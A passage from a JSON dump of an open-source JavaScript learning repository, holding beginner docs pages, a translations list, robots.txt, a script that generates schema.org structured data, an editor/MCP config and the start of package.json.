Structures](/concepts/data-structures), [Algorithms and Big O](/concepts/algorithms-big-o)\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Practice explaining out loud.** In interviews, you need to articulate your thinking. Practice explaining each concept as if you're teaching someone else.\n</Tip>\n\n---\n\n## Topic-Based Paths\n\nWant to focus on a specific area? Here are paths organized by topic:\n\n### Async Mastery\n\n1. [Callbacks](/concepts/callbacks)\n2. [Promises](/concepts/promises)\n3. [async/await](/concepts/async-await)\n4. [Event Loop](/concepts/event-loop)\n5. [Generators and Iterators](/concepts/generators-iterators)\n\n### Object-Oriented JavaScript\n\n1. [Factories and Classes](/concepts/factories-classes)\n2. [this, call, apply, bind](/concepts/this-call-apply-bind)\n3. [Object Creation and Prototypes](/concepts/object-creation-prototypes)\n4. [Inheritance and Polymorphism](/concepts/inheritance-polymorphism)\n\n### Functional Programming\n\n1. [Pure Functions](/concepts/pure-functions)\n2. [Higher-Order Functions](/concepts/higher-order-functions)\n3. [map, reduce, filter](/concepts/map-reduce-filter)\n4. [Recursion](/concepts/recursion)\n5. [Currying and Composition](/concepts/currying-composition)\n\n### Web Development\n\n1. [DOM](/concepts/dom)\n2. [HTTP and Fetch](/concepts/http-fetch)\n3. [Web Workers](/concepts/web-workers)\n4. [ES Modules](/concepts/es-modules)\n\n---\n\n## Start Learning\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"play\" href=\"/concepts/primitive-types\">\n    Begin with the first concept\n  </Card>\n  <Card title=\"All Concepts\" icon=\"list\" href=\"/getting-started/about\">\n    See the full list of 33 concepts\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/getting-started/prerequisites.mdx",
    "content": "---\ntitle: \"Prerequisites & Setup\"\nsidebarTitle: \"Prerequisites\"\ndescription: \"Set up your JavaScript learning environment in minutes. All you need is a browser and optionally a code editor. Perfect for complete beginners.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Getting Started\"\n\"article:tag\": \"javascript setup, javascript environment, beginner javascript, code editor, browser console\"\n---\n\n## What Do You Need to Learn JavaScript?\n\nThis guide is designed for everyone, including complete beginners. You don't need to know any programming language before starting.\n\nAll you need are a few free tools that you probably already have.\n\n---\n\n## Required: A Web Browser\n\nJavaScript runs in every web browser. You can use any modern browser:\n\n| Browser | DevTools Shortcut |\n|---------|------------------|\n| **Chrome** (recommended) | F12 or Cmd+Option+J (Mac) |\n| **Firefox** | F12 or Cmd+Option+I (Mac) |\n| **Safari** | Cmd+Option+C (enable in Preferences first) |\n| **Edge** | F12 |\n\n<Tip>\n**We recommend Chrome** for learning. It has excellent developer tools and most tutorials use it for screenshots and examples.\n</Tip>\n\n### Using the Browser Console\n\nThe browser console is where you'll run JavaScript code. Here's how to open it:\n\n<Steps>\n  <Step title=\"Open any webpage\">\n    Even a blank tab works\n  </Step>\n  <Step title=\"Open Developer Tools\">\n    Press **F12** (Windows/Linux) or **Cmd+Option+J** (Mac)\n  </Step>\n  <Step title=\"Click the Console tab\">\n    This is your JavaScript playground\n  </Step>\n  <Step title=\"Type code and press Enter\">\n    Try typing `console.log(\"Hello!\")` and press Enter\n  </Step>\n</Steps>\n\n```javascript\n// Type this in your console right now\nconsole.log(\"Hello, JavaScript!\")\n// Output: Hello, JavaScript!\n\n// Try some math\n2 + 2\n// Output: 4\n\n// Create a variable\nconst name = \"Your Name\"\nconsole.log(name)\n// Output: Your Name\n```\n\nThat's it. You're ready to learn JavaScript.\n\n---\n\n## Recommended: A Code Editor\n\nWhile you can learn a lot in the browser console, a code editor makes writing longer code much easier.\n\n### Free Options\n\n<CardGroup cols={2}>\n  <Card title=\"VS Code\" icon=\"code\" href=\"https://code.visualstudio.com/\">\n    **Most popular choice.** Free, powerful, with excellent JavaScript support. Works on Windows, Mac, and Linux.\n  </Card>\n  <Card title=\"Sublime Text\" icon=\"code\" href=\"https://www.sublimetext.com/\">\n    **Fast and lightweight.** Free to evaluate, works on all platforms.\n  </Card>\n</CardGroup>\n\n### Online Editors (No Installation)\n\nIf you don't want to install anything, these online editors work great:\n\n<CardGroup cols={2}>\n  <Card title=\"CodePen\" icon=\"codepen\" href=\"https://codepen.io/\">\n    Great for quick experiments. See your code run instantly.\n  </Card>\n  <Card title=\"JSFiddle\" icon=\"js\" href=\"https://jsfiddle.net/\">\n    Simple and clean. Good for testing snippets.\n  </Card>\n  <Card title=\"StackBlitz\" icon=\"bolt\" href=\"https://stackblitz.com/\">\n    Full development environment in your browser.\n  </Card>\n  <Card title=\"CodeSandbox\" icon=\"box\" href=\"https://codesandbox.io/\">\n    Perfect for larger projects and frameworks.\n  </Card>\n</CardGroup>\n\n---\n\n## Optional: Node.js\n\n[Node.js](https://nodejs.org/) lets you run JavaScript outside the browser, on your computer's command line.\n\n**You don't need Node.js to learn from this guide.** Everything can be done in the browser.\n\nHowever, if you want to:\n- Run JavaScript files from your terminal\n- Use JavaScript for backend development later\n- Follow along with some advanced tutorials\n\nThen install the **LTS (Long Term Support)** version from [nodejs.org](https://nodejs.org/).\n\n### Checking if Node.js is Installed\n\nOpen your terminal (Command Prompt on Windows, Terminal on Mac/Linux) and type:\n\n```bash\nnode --version\n```\n\nIf you see a version number like `v20.10.0`, you're good to go.\n\n---\n\n## Your First JavaScript Code\n\nLet's make sure everything works. Open your browser console and type:\n\n```javascript\n// Variables\nconst message = \"I'm learning JavaScript!\"\nconsole.log(message)\n\n// A simple function\nfunction greet(name) {\n  return \"Hello, \" + name + \"!\"\n}\n\nconsole.log(greet(\"World\"))\n// Output: Hello, World!\n```\n\nIf you see the output, congratulations! You're ready to start learning.\n\n---\n\n## Summary\n\n| Tool | Required? | Purpose |\n|------|-----------|---------|\n| Web Browser | Yes | Run JavaScript, use DevTools console |\n| Code Editor | Recommended | Write and save longer code |\n| Node.js | Optional | Run JavaScript outside the browser |\n\n---\n\n## Next Steps\n\n<CardGroup cols={2}>\n  <Card title=\"Learning Paths\" icon=\"map\" href=\"/getting-started/learning-paths\">\n    Find the right learning path for your goals\n  </Card>\n  <Card title=\"Start with Primitives\" icon=\"play\" href=\"/concepts/primitive-types\">\n    Jump into the first concept\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/index.mdx",
    "content": "---\ntitle: \"Learn JavaScript\"\nsidebarTitle: \"Welcome\"\ndescription: \"Master JavaScript with 33 core concepts. Clear explanations, practical examples, and curated resources for developers at any level.\"\n\"article:tag\": \"javascript concepts, learn javascript, javascript tutorial, javascript fundamentals, web development guide, 33 js concepts\"\n---\n\nWant to truly understand how JavaScript works? Not just copy-paste code, but actually know what's happening under the hood?\n\nThese 33 concepts are the foundation. Whether you're debugging a tricky closure, optimizing async code, or preparing for technical interviews, this is the knowledge that separates developers who struggle from those who ship with confidence.\n\n<Info>\n**What you'll find in this guide:**\n- Clear explanations written for humans, not textbooks\n- Practical code examples you can run and modify\n- Visual diagrams that make abstract concepts click\n- Curated resources (articles, videos, docs) for deeper learning\n- Knowledge checks to test your understanding\n</Info>\n\n---\n\n## Who Is This For?\n\nThis guide meets you where you are. Whether you're writing your first line of JavaScript or you've been shipping code for years, there's something here for you.\n\n<CardGroup cols={2}>\n  <Card title=\"Beginners\" icon=\"seedling\">\n    New to JavaScript? Start from the fundamentals and build real understanding, not just syntax memorization.\n  </Card>\n  <Card title=\"Self-Taught Developers\" icon=\"lightbulb\">\n    Fill the gaps in your knowledge. Finally understand the \"why\" behind patterns you've been using.\n  </Card>\n  <Card title=\"Interview Prep\" icon=\"briefcase\">\n    These concepts come up constantly in technical interviews. Know them cold.\n  </Card>\n  <Card title=\"Experienced Devs\" icon=\"rocket\">\n    Solidify your mental models. Teach others with confidence.\n  </Card>\n</CardGroup>\n\n---\n\n## The 33 Concepts\n\nEach concept builds on the others. Start from the beginning or jump to what you need. Every page includes explanations, code examples, and resources to go deeper.\n\n<CardGroup cols={2}>\n  <Card title=\"Fundamentals\" icon=\"cube\" href=\"/concepts/primitive-types\">\n    Types, Scope, Closures, Call Stack, and how JavaScript actually executes your code\n  </Card>\n  <Card title=\"Functions & Execution\" icon=\"code\" href=\"/concepts/event-loop\">\n    The Event Loop, IIFE, Modules, and why JavaScript can be both single-threaded and non-blocking\n  </Card>\n  <Card title=\"Web Platform\" icon=\"browser\" href=\"/concepts/dom\">\n    DOM manipulation, HTTP requests with Fetch, and Web Workers for background processing\n  </Card>\n  <Card title=\"Object-Oriented JS\" icon=\"sitemap\" href=\"/concepts/factories-classes\">\n    Classes, Prototypes, the `this` keyword, and how inheritance really works\n  </Card>\n  <Card title=\"Async JavaScript\" icon=\"clock\" href=\"/concepts/promises\">\n    Callbacks, Promises, async/await, and patterns for handling asynchronous operations\n  </Card>\n  <Card title=\"Functional Programming\" icon=\"filter\" href=\"/concepts/higher-order-functions\">\n    Pure functions, Higher-order functions, map/reduce/filter, recursion, and composition\n  </Card>\n  <Card title=\"Advanced Topics\" icon=\"graduation-cap\" href=\"/concepts/data-structures\">\n    Data structures, Algorithms, Design patterns, and writing clean, maintainable code\n  </Card>\n</CardGroup>\n\n---\n\n## A Community Project\n\n<Tip>\n**Recognized by GitHub** as one of the [top open source projects of 2018](https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018).\n</Tip>\n\nCreated by [Leonardo Maldonado](https://github.com/leonardomso) and improved by hundreds of contributors worldwide. Translated into 40+ languages, making JavaScript education accessible to developers everywhere.\n\n---\n\n## Start Learning\n\n<CardGroup cols={2}>\n  <Card title=\"About This Project\" icon=\"circle-info\" href=\"/getting-started/about\">\n    The story behind the project and how to get the most out of it\n  </Card>\n  <Card title=\"Begin with Concept #1\" icon=\"play\" href=\"/concepts/primitive-types\">\n    Start with Primitive Types and work your way through\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/robots.txt",
    "content": "# Belt-and-suspenders robots.txt for 33jsconcepts.com\n# \n# PRIMARY FIX: Cloudflare dashboard configuration is required to override\n# Cloudflare-managed AI bot blocking. This file serves as the origin-level\n# directive and fallback if Cloudflare managed robots is disabled.\n#\n# Cloudflare Dashboard Paths:\n# - Security -> Settings -> Bot traffic -> robots.txt setting\n# - AI Crawl Control -> Crawlers (allow/block per crawler)\n# - AI Crawl Control -> Robots.txt tab (check managed status)\n#\n# This file allows ALL major search engines and AI crawlers to index content.\n\n# Default rule: Allow all bots to crawl everything except Cloudflare internal paths\nUser-agent: *\nAllow: /\nDisallow: /cdn-cgi/\n\n# Explicit allow directives for major search engine bots\nUser-agent: Googlebot\nAllow: /\n\nUser-agent: Bingbot\nAllow: /\n\nUser-agent: Yandexbot\nAllow: /\n\nUser-agent: DuckDuckBot\nAllow: /\n\n# Explicit allow directives for AI search engine bots\n# These override any Cloudflare-managed blocks at the origin level\nUser-agent: GPTBot\nAllow: /\n\nUser-agent: ChatGPT-User\nAllow: /\n\nUser-agent: ClaudeBot\nAllow: /\n\nUser-agent: anthropic-ai\nAllow: /\n\nUser-agent: PerplexityBot\nAllow: /\n\nUser-agent: Google-Extended\nAllow: /\n\n# Sitemap for search engine discovery\nSitemap: https://33jsconcepts.com/sitemap.xml\n"
  },
  {
    "path": "docs/schema-inject.js",
    "content": "(function () {\n  \"use strict\";\n\n  var SITE_NAME = \"33 JavaScript Concepts\";\n  var SCHEMA_SCRIPT_ID = \"structured-data-jsonld\";\n  var AUTHOR = {\n    \"@type\": \"Person\",\n    name: \"Leonardo Maldonado\",\n    url: \"https://github.com/leonardomso\",\n  };\n  var PUBLISHER = {\n    \"@type\": \"Organization\",\n    name: SITE_NAME,\n  };\n\n  function safeText(value) {\n    return String(value || \"\").replace(/\\s+/g, \" \").trim();\n  }\n\n  function withoutHash(url) {\n    return String(url || \"\").split(\"#\")[0];\n  }\n\n  function getSiteOrigin() {\n    try {\n      if (window.location && window.location.origin) return window.location.origin;\n      return window.location.protocol + \"//\" + window.location.host;\n    } catch (_error) {\n      return \"\";\n    }\n  }\n\n  function normalizePath(pathname) {\n    var path = pathname || \"/\";\n    if (path !== \"/\") path = path.replace(/\\/+$/, \"\");\n    return path || \"/\";\n  }\n\n  function toTitle(segment) {\n    var cleaned = decodeURIComponent(segment || \"\")\n      .replace(/[-_]+/g, \" \")\n      .replace(/\\s+/g, \" \")\n      .trim();\n\n    if (!cleaned) return \"\";\n\n    return cleaned\n      .split(\" \")\n      .map(function (word) {\n        return word.charAt(0).toUpperCase() + word.slice(1);\n      })\n      .join(\" \");\n  }\n\n  function toAbsoluteUrl(pathOrUrl) {\n    try {\n      return new URL(pathOrUrl, getSiteOrigin()).toString();\n    } catch (_error) {\n      return String(pathOrUrl || \"\");\n    }\n  }\n\n  function getCanonicalUrl() {\n    try {\n      var canonical = document.querySelector('link[rel=\"canonical\"]');\n      if (canonical && canonical.href) return withoutHash(canonical.href);\n    } catch (_error) {}\n\n    return withoutHash(window.location.href);\n  }\n\n  function getDescription() {\n    try {\n      var meta = document.querySelector('meta[name=\"description\"]');\n      if (meta && meta.content) return safeText(meta.content);\n    } catch (_error) {}\n\n    return \"\";\n  }\n\n  function getPageTitle() {\n    try {\n      var h1 = document.querySelector(\"h1\");\n      if (h1) {\n        var headingText = safeText(h1.textContent);\n        if (headingText) return headingText;\n      }\n    } catch (_error) {}\n\n    return safeText(document.title);\n  }\n\n  function getDatePublished() {\n    try {\n      var publishedMeta = document.querySelector('meta[property=\"article:published_time\"]');\n      if (publishedMeta && publishedMeta.content) return publishedMeta.content;\n\n      var timeEl = document.querySelector(\"time[datetime]\");\n      if (timeEl) {\n        var dateTime = timeEl.getAttribute(\"datetime\");\n        if (dateTime) return dateTime;\n      }\n\n      if (document.lastModified) {\n        var parsed = new Date(document.lastModified);\n        if (!Number.isNaN(parsed.getTime())) return parsed.toISOString();\n      }\n    } catch (_error) {}\n\n    return new Date().toISOString();\n  }\n\n  function isHomePage(pathname) {\n    return normalizePath(pathname) === \"/\";\n  }\n\n  function isConceptArticle(pathname) {\n    return /^\\/(concepts|beyond\\/concepts)\\/[^/]+$/.test(normalizePath(pathname));\n  }\n\n  function isConceptLink(pathname) {\n    return /^\\/concepts\\/[^/]+$/.test(normalizePath(pathname));\n  }\n\n  function textFromCandidates(candidates, questionText) {\n    for (var i = 0; i < candidates.length; i += 1) {\n      var node = candidates[i];\n      if (!node) continue;\n      if (node.tagName === \"BUTTON\") continue;\n\n      var content = safeText(node.textContent);\n      if (!content) continue;\n      if (content === questionText) continue;\n\n      if (questionText && content.indexOf(questionText) === 0) {\n        content = safeText(content.slice(questionText.length));\n      }\n\n      if (content.length >= 20) return content;\n    }\n\n    return \"\";\n  }\n\n  function findFaqHeading() {\n    try {\n      var headings = Array.prototype.slice.call(document.querySelectorAll(\"h2\"));\n      for (var i = 0; i < headings.length; i += 1) {\n        var headingText = safeText(headings[i].textContent).toLowerCase();\n        if (headingText === \"frequently asked questions\") return headings[i];\n      }\n    } catch (_error) {}\n\n    return null;\n  }\n\n  function getFaqSectionNodes(heading) {\n    var nodes = [];\n    var cursor = heading ? heading.nextElementSibling : null;\n\n    while (cursor) {\n      if (cursor.tagName === \"H2\") break;\n      nodes.push(cursor);\n      cursor = cursor.nextElementSibling;\n    }\n\n    return nodes;\n  }\n\n  function getFaqAnswerText(trigger, questionText) {\n    var candidates = [];\n\n    var controlsId = trigger.getAttribute(\"aria-controls\");\n    if (controlsId) candidates.push(document.getElementById(controlsId));\n\n    candidates.push(trigger.nextElementSibling);\n\n    if (trigger.parentElement) {\n      candidates.push(trigger.parentElement.nextElementSibling);\n      candidates.push(trigger.parentElement);\n    }\n\n    var detailsRoot = trigger.closest(\"details\");\n    if (detailsRoot) {\n      candidates.push(detailsRoot.querySelector(\"[role='region']\"));\n      candidates.push(detailsRoot.querySelector(\"div\"));\n      candidates.push(detailsRoot);\n    }\n\n    var itemRoot = trigger.closest(\"li, section, article, div\");\n    if (itemRoot) {\n      candidates.push(itemRoot.querySelector(\"[role='region']\"));\n      candidates.push(itemRoot.querySelector(\"[data-state='open']\"));\n      candidates.push(itemRoot.querySelector(\"[data-state='closed']\"));\n      candidates.push(itemRoot.querySelector(\"div\"));\n      candidates.push(itemRoot);\n    }\n\n    return textFromCandidates(candidates, questionText);\n  }\n\n  function extractFaqItems() {\n    try {\n      var heading = findFaqHeading();\n      if (!heading) return [];\n\n      var sectionNodes = getFaqSectionNodes(heading);\n      if (!sectionNodes.length) return [];\n\n      var questions = [];\n      var seen = new Set();\n\n      sectionNodes.forEach(function (node) {\n        var triggers = Array.prototype.slice.call(\n          node.querySelectorAll(\"button[aria-controls], button[data-state], button, summary, [role='button']\")\n        );\n\n        triggers.forEach(function (trigger) {\n          var questionText = safeText(trigger.textContent);\n          if (!questionText || questionText.length < 8) return;\n          if (seen.has(questionText)) return;\n\n          var answerText = getFaqAnswerText(trigger, questionText);\n          if (!answerText) return;\n\n          seen.add(questionText);\n          questions.push({\n            \"@type\": \"Question\",\n            name: questionText,\n            acceptedAnswer: {\n              \"@type\": \"Answer\",\n              text: answerText,\n            },\n          });\n        });\n      });\n\n      return questions;\n    } catch (_error) {\n      return [];\n    }\n  }\n\n  function buildBreadcrumbList(pathname) {\n    var parts = normalizePath(pathname).split(\"/\").filter(Boolean);\n    var itemListElement = [\n      {\n        \"@type\": \"ListItem\",\n        position: 1,\n        name: \"Home\",\n        item: toAbsoluteUrl(\"/\"),\n      },\n    ];\n\n    var runningPath = \"\";\n    for (var i = 0; i < parts.length; i += 1) {\n      runningPath += \"/\" + parts[i];\n      itemListElement.push({\n        \"@type\": \"ListItem\",\n        position: i + 2,\n        name: toTitle(parts[i]),\n        item: toAbsoluteUrl(runningPath),\n      });\n    }\n\n    return {\n      \"@type\": \"BreadcrumbList\",\n      itemListElement: itemListElement,\n    };\n  }\n\n  function buildConceptItemList() {\n    try {\n      var root = document.querySelector(\"main\") || document.body;\n      var links = Array.prototype.slice.call(root.querySelectorAll(\"a[href]\"));\n      var seen = new Set();\n      var concepts = [];\n\n      links.forEach(function (link) {\n        if (!link || !link.href) return;\n\n        var url;\n        try {\n          url = new URL(link.href, getSiteOrigin());\n        } catch (_error) {\n          return;\n        }\n\n        if (url.origin !== getSiteOrigin()) return;\n        if (!isConceptLink(url.pathname)) return;\n\n        var canonical = withoutHash(url.toString());\n        if (seen.has(canonical)) return;\n\n        seen.add(canonical);\n        concepts.push({\n          name: safeText(link.textContent) || toTitle(url.pathname.split(\"/\").pop()),\n          item: canonical,\n        });\n      });\n\n      if (!concepts.length) return null;\n\n      var limited = concepts.slice(0, 33);\n      var itemListElement = limited.map(function (concept, index) {\n        return {\n          \"@type\": \"ListItem\",\n          position: index + 1,\n          name: concept.name,\n          item: concept.item,\n        };\n      });\n\n      return {\n        \"@type\": \"ItemList\",\n        name: \"33 JavaScript Concepts\",\n        numberOfItems: itemListElement.length,\n        itemListElement: itemListElement,\n      };\n    } catch (_error) {\n      return null;\n    }\n  }\n\n  function buildGraph() {\n    var pathname = normalizePath(window.location.pathname || \"/\");\n    var canonicalUrl = getCanonicalUrl();\n    var headline = getPageTitle();\n    var description = getDescription();\n    var graph = [];\n\n    if (isHomePage(pathname)) {\n      graph.push({\n        \"@type\": \"WebSite\",\n        name: SITE_NAME,\n        description: description,\n        url: toAbsoluteUrl(\"/\"),\n        potentialAction: {\n          \"@type\": \"SearchAction\",\n          target: toAbsoluteUrl(\"/search?q={search_term_string}\"),\n          \"query-input\": \"required name=search_term_string\",\n        },\n      });\n\n      var conceptList = buildConceptItemList();\n      if (conceptList) graph.push(conceptList);\n      return graph;\n    }\n\n    if (isConceptArticle(pathname)) {\n      graph.push({\n        \"@type\": \"TechArticle\",\n        headline: headline,\n        description: description,\n        url: canonicalUrl,\n        mainEntityOfPage: canonicalUrl,\n        datePublished: getDatePublished(),\n        dateModified: getDatePublished(),\n        author: AUTHOR,\n        publisher: PUBLISHER,\n      });\n\n      graph.push(buildBreadcrumbList(pathname));\n\n      var faqItems = extractFaqItems();\n      if (faqItems.length) {\n        graph.push({\n          \"@type\": \"FAQPage\",\n          mainEntity: faqItems,\n        });\n      }\n\n      return graph;\n    }\n\n    graph.push({\n      \"@type\": \"WebPage\",\n      name: headline,\n      description: description,\n      url: canonicalUrl,\n    });\n    graph.push(buildBreadcrumbList(pathname));\n\n    return graph;\n  }\n\n  function injectSchema() {\n    try {\n      var graph = buildGraph();\n      if (!graph.length) return;\n\n      var payload = JSON.stringify({\n        \"@context\": \"https://schema.org\",\n        \"@graph\": graph,\n      });\n\n      var existing = document.getElementById(SCHEMA_SCRIPT_ID);\n      if (existing) {\n        if (existing.text === payload) return;\n        existing.text = payload;\n        return;\n      }\n\n      var script = document.createElement(\"script\");\n      script.id = SCHEMA_SCRIPT_ID;\n      script.type = \"application/ld+json\";\n      script.text = payload;\n      document.head.appendChild(script);\n    } catch (_error) {}\n  }\n\n  if (document.readyState === \"loading\") {\n    document.addEventListener(\"DOMContentLoaded\", injectSchema, { once: true });\n  } else {\n    injectSchema();\n  }\n})();\n"
  },
  {
    "path": "docs/translations.mdx",
    "content": "---\ntitle: \"Translations\"\ndescription: \"33 JavaScript Concepts is available in 40+ languages. Find translations in Chinese, Spanish, Portuguese, Korean, and more.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Community\"\n\"article:tag\": \"javascript translations, multilingual programming, learn javascript languages, 33 concepts translations\"\n---\n\n## Community Translations\n\nThanks to our amazing community, 33 JavaScript Concepts has been translated into over 40 languages! Feel free to submit a PR to add your own translation.\n\n<Info>\nWant to contribute a translation? Check out our [Contributing Guide](/contributing) for instructions on how to create and submit a translation.\n</Info>\n\n## Available Languages\n\n<CardGroup cols={2}>\n  <Card title=\"Arabic (اَلْعَرَبِيَّةُ‎)\" icon=\"language\" href=\"https://github.com/amrsekilly/33-js-concepts\">\n    By Amr Elsekilly\n  </Card>\n  <Card title=\"Bulgarian (Български)\" icon=\"language\" href=\"https://github.com/thewebmasterp/33-js-concepts\">\n    By thewebmasterp\n  </Card>\n  <Card title=\"Chinese (汉语)\" icon=\"language\" href=\"https://github.com/stephentian/33-js-concepts\">\n    By Re Tian\n  </Card>\n  <Card title=\"Brazilian Portuguese (Português do Brasil)\" icon=\"language\" href=\"https://github.com/tiagoboeing/33-js-concepts\">\n    By Tiago Boeing\n  </Card>\n  <Card title=\"Korean (한국어)\" icon=\"language\" href=\"https://github.com/yjs03057/33-js-concepts.git\">\n    By Suin Lee\n  </Card>\n  <Card title=\"Spanish (Español)\" icon=\"language\" href=\"https://github.com/adonismendozaperez/33-js-conceptos\">\n    By Adonis Mendoza\n  </Card>\n  <Card title=\"Turkish (Türkçe)\" icon=\"language\" href=\"https://github.com/ilker0/33-js-concepts\">\n    By İlker Demir\n  </Card>\n  <Card title=\"Russian (русский язык)\" icon=\"language\" href=\"https://github.com/gumennii/33-js-concepts\">\n    By Mihail Gumennii\n  </Card>\n</CardGroup>\n\n## All Translations\n\n| Language | Translator | Repository |\n|----------|------------|------------|\n| Arabic (اَلْعَرَبِيَّةُ‎) | Amr Elsekilly | [Link](https://github.com/amrsekilly/33-js-concepts) |\n| Bulgarian (Български) | thewebmasterp | [Link](https://github.com/thewebmasterp/33-js-concepts) |\n| Chinese (汉语) | Re Tian | [Link](https://github.com/stephentian/33-js-concepts) |\n| Brazilian Portuguese | Tiago Boeing | [Link](https://github.com/tiagoboeing/33-js-concepts) |\n| Korean (한국어) | Suin Lee | [Link](https://github.com/yjs03057/33-js-concepts.git) |\n| Spanish (Español) | Adonis Mendoza | [Link](https://github.com/adonismendozaperez/33-js-conceptos) |\n| Turkish (Türkçe) | İlker Demir | [Link](https://github.com/ilker0/33-js-concepts) |\n| Russian (русский язык) | Mihail Gumennii | [Link](https://github.com/gumennii/33-js-concepts) |\n| Vietnamese (Tiếng Việt) | Nguyễn Trần Chung | [Link](https://github.com/nguyentranchung/33-js-concepts) |\n| Polish (Polski) | Dawid Lipinski | [Link](https://github.com/lip3k/33-js-concepts) |\n| Persian (فارسی) | Majid Alavizadeh | [Link](https://github.com/majidalavizadeh/33-js-concepts) |\n| Indonesian (Bahasa Indonesia) | Rijdzuan Sampoerna | [Link](https://github.com/rijdz/33-js-concepts) |\n| French (Français) | Robin Métral | [Link](https://github.com/robinmetral/33-concepts-js) |\n| Hindi (हिन्दी) | Vikas Chauhan | [Link](https://github.com/vikaschauhan/33-js-concepts) |\n| Greek (Ελληνικά) | Dimitris Zarachanis | [Link](https://github.com/DimitrisZx/33-js-concepts) |\n| Japanese (日本語) | oimo23 | [Link](https://github.com/oimo23/33-js-concepts) |\n| German (Deutsch) | burhannn | [Link](https://github.com/burhannn/33-js-concepts) |\n| Ukrainian (украї́нська мо́ва) | Andrew Savetchuk | [Link](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) |\n| Sinhala (සිංහල) | Udaya Shamendra | [Link](https://github.com/ududsha/33-js-concepts) |\n| Italian (Italiano) | Gianluca Fiore | [Link](https://github.com/Donearm/33-js-concepts) |\n| Latvian (Latviešu) | Jānis Īvāns | [Link](https://github.com/ANormalStick/33-js-concepts) |\n| Oromo (Afaan Oromoo) | Amanuel Dagnachew | [Link](https://github.com/Amandagne/33-js-concepts) |\n| Thai (ภาษาไทย) | Arif Waram | [Link](https://github.com/ninearif/33-js-concepts) |\n| Catalan (Català) | Mario Estrada | [Link](https://github.com/marioestradaf/33-js-concepts) |\n| Swedish (Svenska) | Fenix Hongell | [Link](https://github.com/FenixHongell/33-js-concepts/) |\n| Khmer (ខ្មែរ) | Chrea Chanchhunneng | [Link](https://github.com/Chhunneng/33-js-concepts) |\n| Ethiopian (አማርኛ) | Miniyahil Kebede | [Link](https://github.com/hmhard/33-js-concepts) |\n| Belarussian (Беларуская мова) | Dzianis Yafimau | [Link](https://github.com/Yafimau/33-js-concepts) |\n| Uzbek (O'zbekcha) | Shokhrukh Usmonov | [Link](https://github.com/smnv-shokh/33-js-concepts) |\n| Urdu (اردو) | Yasir Nawaz | [Link](https://github.com/sudoyasir/33-js-concepts) |\n| Bengali (বাংলা) | Jisan Mia | [Link](https://github.com/Jisan-mia/33-js-concepts) |\n| Gujarati (ગુજરાતી) | Vatsal Bhuva | [Link](https://github.com/VatsalBhuva11/33-js-concepts) |\n| Sindhi (سنڌي) | Sunny Gandhwani | [Link](https://github.com/Sunny-unik/33-js-concepts) |\n| Bhojpuri (भोजपुरी) | Pronay Debnath | [Link](https://github.com/debnath003/33-js-concepts) |\n| Punjabi (ਪੰਜਾਬੀ) | Harsh Dev Pathak | [Link](https://github.com/Harshdev098/33-js-concepts) |\n| Malayalam (മലയാളം) | Akshay Manoj | [Link](https://github.com/Stark-Akshay/33-js-concepts) |\n| Yoruba (Yorùbá) | Ayomide Bajulaye | [Link](https://github.com/ayobaj/33-js-concepts) |\n| Hebrew (עברית‎) | Refael Yzgea | [Link](https://github.com/rafyzg/33-js-concepts) |\n| Dutch (Nederlands) | Dave Visser | [Link](https://github.com/dlvisser/33-js-concepts) |\n| Tamil (தமிழ்) | Udaya Krishnan M | [Link](https://github.com/UdayaKrishnanM/33-js-concepts) |\n\n## Create Your Own Translation\n\nWant to help make JavaScript concepts accessible in your language?\n\n<Card title=\"Start Translating\" icon=\"globe\" href=\"/contributing\">\n  Follow our contribution guidelines to create a translation\n</Card>\n"
  },
  {
    "path": "index.js",
    "content": "/* \n    33 JavaScript Concepts is a project created to help JavaScript developers master their skills. It is a compilation of fundamental JavaScript concepts that are important and fundamental. \n\n    This project was inspired by an article written by Stephen Curtis. \n\n    Any kind of contribution is welcome. Feel free to contribute.\n*/\n"
  },
  {
    "path": "opencode.jsonc",
    "content": "{\n  \"$schema\": \"https://opencode.ai/config.json\",\n\n  // MCP Server Configuration\n  \"mcp\": {\n    \"context7\": {\n      \"type\": \"remote\",\n      \"url\": \"https://mcp.context7.com/mcp\"\n    },\n    \"github\": {\n      \"type\": \"local\",\n      \"command\": [\"bunx\", \"@modelcontextprotocol/server-github\"],\n      \"environment\": {\n        \"GITHUB_PERSONAL_ACCESS_TOKEN\": \"{env:GITHUB_PERSONAL_ACCESS_TOKEN}\",\n        \"GITHUB_TOOLSETS\": \"repos,issues,pull_requests,actions,code_security\"\n      }\n    }\n  },\n\n  // Tool Configuration\n  \"tools\": {\n    // Enable the skill loading tool\n    \"skill\": true\n  },\n\n  // Permission Configuration\n  \"permission\": {\n    // Skill permissions - allow all project skills by default\n    \"skill\": {\n      // Project-specific skills\n      \"write-concept\": \"allow\",\n      \"fact-check\": \"allow\",\n      \"seo-review\": \"allow\",\n      \"test-writer\": \"allow\",\n      \"resource-curator\": \"allow\",\n      \"concept-workflow\": \"allow\",\n      // Default behavior for other skills\n      \"*\": \"ask\"\n    }\n  }\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"33-js-concepts\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A curated collection of 33 essential JavaScript concepts every developer should master. Includes comprehensive learning resources, articles, videos, and interactive code examples covering everything from call stack and closures to async/await and design patterns.\",\n  \"main\": \"index.js\",\n  \"author\": {\n    \"name\": \"Leonardo Maldonado\",\n    \"url\": \"https://github.com/leonardomso\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/leonardomso/33-js-concepts/issues\"\n  },\n  \"homepage\": \"https://github.com/leonardomso/33-js-concepts#readme\",\n  \"scripts\": {\n    \"test\": \"vitest run\",\n    \"test:watch\": \"vitest\",\n    \"test:coverage\": \"vitest run --coverage\",\n    \"docs\": \"cd docs && npx mintlify dev\",\n    \"docs:build\": \"cd docs && npx mintlify build\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/leonardomso/33-js-concepts.git\"\n  },\n  \"keywords\": [\n    